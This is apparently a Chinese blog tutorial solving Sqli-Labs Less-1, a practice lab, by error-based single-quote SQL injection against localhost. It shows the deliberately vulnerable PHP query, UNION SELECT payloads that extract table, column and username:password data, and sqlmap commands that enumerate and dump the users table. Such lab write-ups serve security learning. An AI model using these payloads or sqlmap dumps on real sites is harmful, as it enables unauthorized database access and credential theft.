Sqli-Labs Page-1

90 阅读4分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

一、工具准备

hackbar

地址:chrome.google.com/webstore/de…

sqlmap

地址:sqlmap.org/

中文文档:sqlmap.kvko.live/

英⽂⽂档地址:github.com/sqlmapproje…

中文CTFshow版使用文档(译者:CTFshow 大菜鸡):TODO

二、闯关go

2.1 Less-1 字符型注入,基于错误的GET单引号

image-20220719142051156

第一步:判断是否存在注入点

  1. 输入?id=1

    显示出登录账号与密码;

    image-20220719142411631

  2. 输入单引号 ‘

    报错

    image-20220719142612991

  3. 输入’ and ‘1’='1

    不报错,确定存在注入点

    image-20220719142814621

后台关键源码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

源码理解:

得到参数id后,直接带入语句执行sql语句。

原理理解

数据库中,''不闭合会报错:

image-20220719143958725

而我们判断注入点的语句在后台运行是:

image-20220719144444819

第二步:判断当前注入表中的列数

  1. 输入 ’ order by 3 --+

    正常显示

    image-20220719145136403

  2. 输入 ’ order by 4 --+

    报错

    image-20220719145231951

    判断出当前表中有三列

原理理解

通过order by的语句的查询当前表中的列数,超出列数量会报错的逻辑来判断当前注入点所在表的列数。

在数据库中的行为:

image-20220719150317952

第三步:判断显示位

显示位:存在注入点的当前页面中能够查询出数据的位置,所有构造的SQL语句皆可在显示位处爆数据。
  1. 将id=-1,输入 ‘ union select 1,2,3 --+

    image-20220719150658798

显示位为 2 3

原理理解

union为联合查询,用于连接两个以上的select语句到一个结果集中,输入表中超出的列数会报错,联合查询程序在显示数据时只会显示第一行数据,只要让第一行的查询为空集(即union左边的为空)union右边的数据自然打印了出来

image-20220719154044459

第四步 根据SQL语法爆数据

系统函数:

system_user()——系统用户名 
user()——用户名 
current_user()——当前用户名 
session_user()——链接数据库的用户名 
database()——数据库名 
version()——数据库版本 
@@datadir——数据库路径 
@@basedir——数据库安装路径 
@@version_conpile_os——操作系统

字符串连接函数

concat(str1,str2,...)——没有分隔符地连接字符串
​
concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
​
group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据。
  1. 爆当前数据库

image-20220719154727693

  1. 爆所有数据库

    这个地方,可以直接使用hackbar的功能,爆出所有数据库。

image-20220719155038575

  1. 爆本数据库的所有表

    使用hackbar->SQLI->mysql->tables

    image-20220719160122937

  2. 爆users表中所有字段

    使用hackbar

    union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
    

    image-20220719160333114

  3. 爆users表中所有数据

    union select 1,2,group_concat(username,":",password) from users
    

    image-20220719160658880

第五步:使用sqlmap

  1. 检测注入点,列出数据库

    sqlmap.py -u http://localhost/Less-1/?id=1 --batch
    ​
    sqlmap.py -u http://localhost/Less-1/?id=1 --batch --dbs
    

    image-20220719165930052

  2. 列出当前数据库

    sqlmap.py -u http://localhost/Less-1/?id=1 --batch --current-db
    

    image-20220719170138834

  3. 查看当前数据库的表

    sqlmap.py -u http://localhost/Less-1/?id=1 --batch -D security --tables
    

    image-20220719170345919

  4. 查看users表字段

    sqlmap.py -u http://localhost/Less-1/?id=1 --batch -D security -T users --col
    

    image-20220719170502302

  5. 显示users表所有数据

    sqlmap.py -u http://localhost/Less-1/?id=1 --batch -D security -T users -C id,username,password --dump